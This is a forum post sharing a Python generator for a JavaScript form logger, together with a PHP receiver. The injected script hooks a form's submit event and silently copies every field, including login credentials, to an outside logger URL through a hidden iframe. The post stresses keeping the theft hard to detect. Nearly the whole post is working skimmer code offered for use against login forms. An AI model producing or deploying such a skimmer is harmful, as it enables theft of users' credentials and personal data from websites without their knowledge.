Author Topic: [Python] Form logger script generator  (Read 650 times)

0 Members and 1 Guest are viewing this topic.

Offline byteme

  • NULL
  • Posts: 1
  • Cookies: 0
    • View Profile
[Python] Form logger script generator
« on: June 17, 2015, 12:46:59 am »
I've been working on this for the past couple of days. It's a script that generates a JavaScript to use when trying to log form submissions. I'm not a Python or JavaScript expert, so I'm learning as I go. Feel free to suggest improvements!

Code: [Select]
python logger.py -h
usage: logger.py [-h] -l URL (--form-id FORM_ID | --form-position #)
                 [--delay DELAY] [-x] [--redirect URL] [--method GET, POST]

Form logging utility

optional arguments:
  -h, --help            show this help message and exit
  -l URL, --logger URL  Full url and path to the logger file
  --form-id FORM_ID     Value of the form's id attribute
  --form-position #     Position of the form on the page
  --delay DELAY         Delay before form is submitted. Default 250ms
  -x, --ajax            Send form using AJAX
  --redirect URL        Redirect here after submitting AJAX form
  --method GET, POST    What method to send request with

Examples:
python logger.py --logger "http://example.com/logger.php" --form-position 0
python logger.py --logger "http://example.com/logger.php" --form-id "login-form"
python logger.py --logger "http://example.com/logger.php" --form-id "login-form" --ajax
python logger.py --logger "http://example.com/logger.php" --form-id "login-form" > logger.js

How does it work?

It hooks itself to the form's submit event by adding an event listener. When the hijacked form receives a submit even it creates an iframe, sets the src attribute to the domain and logger uri path specified when creating the script, and attaching all the form elements and the domain the submitted forum exists on.

After this, the form will be submitted as it normally would be.

One important thing to keep in mind if using this script. If the form has an element named "submit" the --ajax option must be set, because this name generates a conflict with the submit() function in JavaScript. If you use the ajax method, make sure the method and redirect is set properly. This is important both for executing a successful form submission and to make it harder to detect the additional behavior.

Usage:

Generate a script which will intercept the form with id login-form
Code: [Select]
$ python logger.py -l "http://mysite.com/logger.php" --form-id "login-form" > logger.js
Generates a script which will intercept the 3rd form on the page. Remember that it starts counting at 0
Code: [Select]
$ python logger.py -l "http://mysite.com/logger.php" --form-position 2 > logger.js

Use AJAX to avoid the submit conflict
Code: [Select]
$ python logger.py -l "http://mysite.com/logger.php" --form-id "login-form" --ajax > logger.js

Set redirect and submit method
Code: [Select]
$ python logger.py -l "http://mysite.com/logger.php" --form-id "login-form" --ajax --redirect "/user/profile" --method POST > logger.js

Code:


Code: (python) [Select]
#!/usr/bin/env python

from sys import argv
import argparse
from argparse import RawTextHelpFormatter

epilog = '''
Examples:
python {{file}} --logger "http://example.com/logger.php" --form-position 0
python {{file}} --logger "http://example.com/logger.php" --form-id "login-form"
python {{file}} --logger "http://example.com/logger.php" --form-id "login-form" --ajax
python {{file}} --logger "http://example.com/logger.php" --form-id "login-form" > logger.js
'''.replace('{{file}}', argv[0])

parser = argparse.ArgumentParser(description='Form logging utility', formatter_class=RawTextHelpFormatter, epilog=epilog)
parser.add_argument('-l', '--logger', metavar='URL', help='Full url and path to the logger file', required=True)
group = parser.add_mutually_exclusive_group(required=True)
group.add_argument('--form-id', help="Value of the form's id attribute")
group.add_argument('--form-position', metavar='#', help="Position of the form on the page")
parser.add_argument('--delay', help='Delay before form is submitted. Default 250ms')
parser.add_argument('-x', '--ajax', help='Send form using AJAX', action='store_true')
parser.add_argument('--redirect', metavar='URL', help='Redirect here after submitting AJAX form')
parser.add_argument('--method', metavar='GET, POST', help='What method to send request with', default='POST')
args = parser.parse_args()

logger = args.logger
delay = args.delay if args.delay is not None else str(250)

ajax = 0 if args.ajax is False else 1
redirect = str(args.redirect) if args.redirect is not None else '/'
method = str(args.method.upper()) if args.method is not None else 'POST'

if args.form_id is not None:
    script = 'function ic(e){els=e.elements,ajax=%d,array=[];for(var t=0;t<els.length;t++)array.push(els[t].name+"="+els[t].value);array.push("__x__="+window.location.href),query=array.join("&"),frame=document.createElement("iframe"),e.appendChild(frame),frame.setAttribute("style","display:none;"),frame.setAttribute("src","%s?"+query),frame.src+="",window.setTimeout(function(){ajax?(xml=new XMLHttpRequest,xml.open("%s",e.action,!0),xml.send(query),window.location.href="%s"):e.submit()},%s)}var form=document.getElementById("%s");form.addEventListener("submit",function(e){return e.preventDefault(),ic(form),!1});'%(ajax,logger,method,redirect,delay,args.form_id)
elif args.form_position is not None:
    script = 'function ic(e){els=e.elements,ajax=%d,array=[];for(var t=0;t<els.length;t++)array.push(els[t].name+"="+els[t].value);array.push("__x__="+window.location.href),query=array.join("&"),frame=document.createElement("iframe"),e.appendChild(frame),frame.setAttribute("style","display:none;"),frame.setAttribute("src","%s?"+query),frame.src+="",window.setTimeout(function(){ajax?(xml=new XMLHttpRequest,xml.open("%s",e.action,!0),xml.send(query),window.location.href="%s"):e.submit()},%s)}var form=document.forms[%s];form.addEventListener("submit",function(e){return e.preventDefault(),ic(form),!1});'%(ajax,logger,method,redirect,delay,args.form_position)

print script
print

Source of logger.php
Code: [Select]
<?php file_put_contents('log.txt'json_encode($_REQUEST) . "\n"FILE_APPEND); ?>
Unminified version of the script generated when using the id attribute (with hardcoded values)
Code: (javascript) [Select]
function ic(form) {
    els = form.elements;
    ajax = 1;
    array = [];
    for (var i = 0; i < els.length; i++) {
        array.push(els[i].name + '=' + els[i].value);
    }
    array.push('__x__=' + window.location.href);
    query = array.join('&');
    frame = document.createElement('iframe');
    form.appendChild(frame);
    frame.setAttribute('style', 'display:none;');
    frame.setAttribute('src', 'http://localhost/logger.php?' + query);
    frame.src += '';
    window.setTimeout(function() {
        if (ajax) {
            xml=new XMLHttpRequest();
            xml.open('POST', form.action, true);
            xml.send(query);
            window.location.href = 'auth.php';
        } else {
            form.submit()
        }
    }, 250);
}
var form = document.getElementById('login-form');
form.addEventListener('submit', function(event) {
    event.preventDefault();
    ic(form);
    return false;
});

Unminified version of the script generated when using the form position (with hardcoded values)
Code: (javascript) [Select]
function ic(form) {
    els = form.elements;
    ajax = 1;
    array = [];
    for (var i = 0; i < els.length; i++) {
        array.push(els[i].name + '=' + els[i].value);
    }
    array.push('__x__=' + window.location.href);
    query = array.join('&');
    frame = document.createElement('iframe');
    form.appendChild(frame);
    frame.setAttribute('style', 'display:none;');
    frame.setAttribute('src', 'http://localhost/logger.php?' + query);
    frame.src += '';
   window.setTimeout(function() {
       if (ajax) {
          xml=new XMLHttpRequest();
          xml.open('POST', form.action, true);
          xml.send(query);
          window.location.href = 'auth.php';
       } else {
           form.submit()
       }
    }, 250);
}
var form = document.forms[0]
form.addEventListener('submit', function(event) {
    event.preventDefault();
    ic(form);
    return false;
});
« Last Edit: June 21, 2015, 10:41:56 pm by byteme »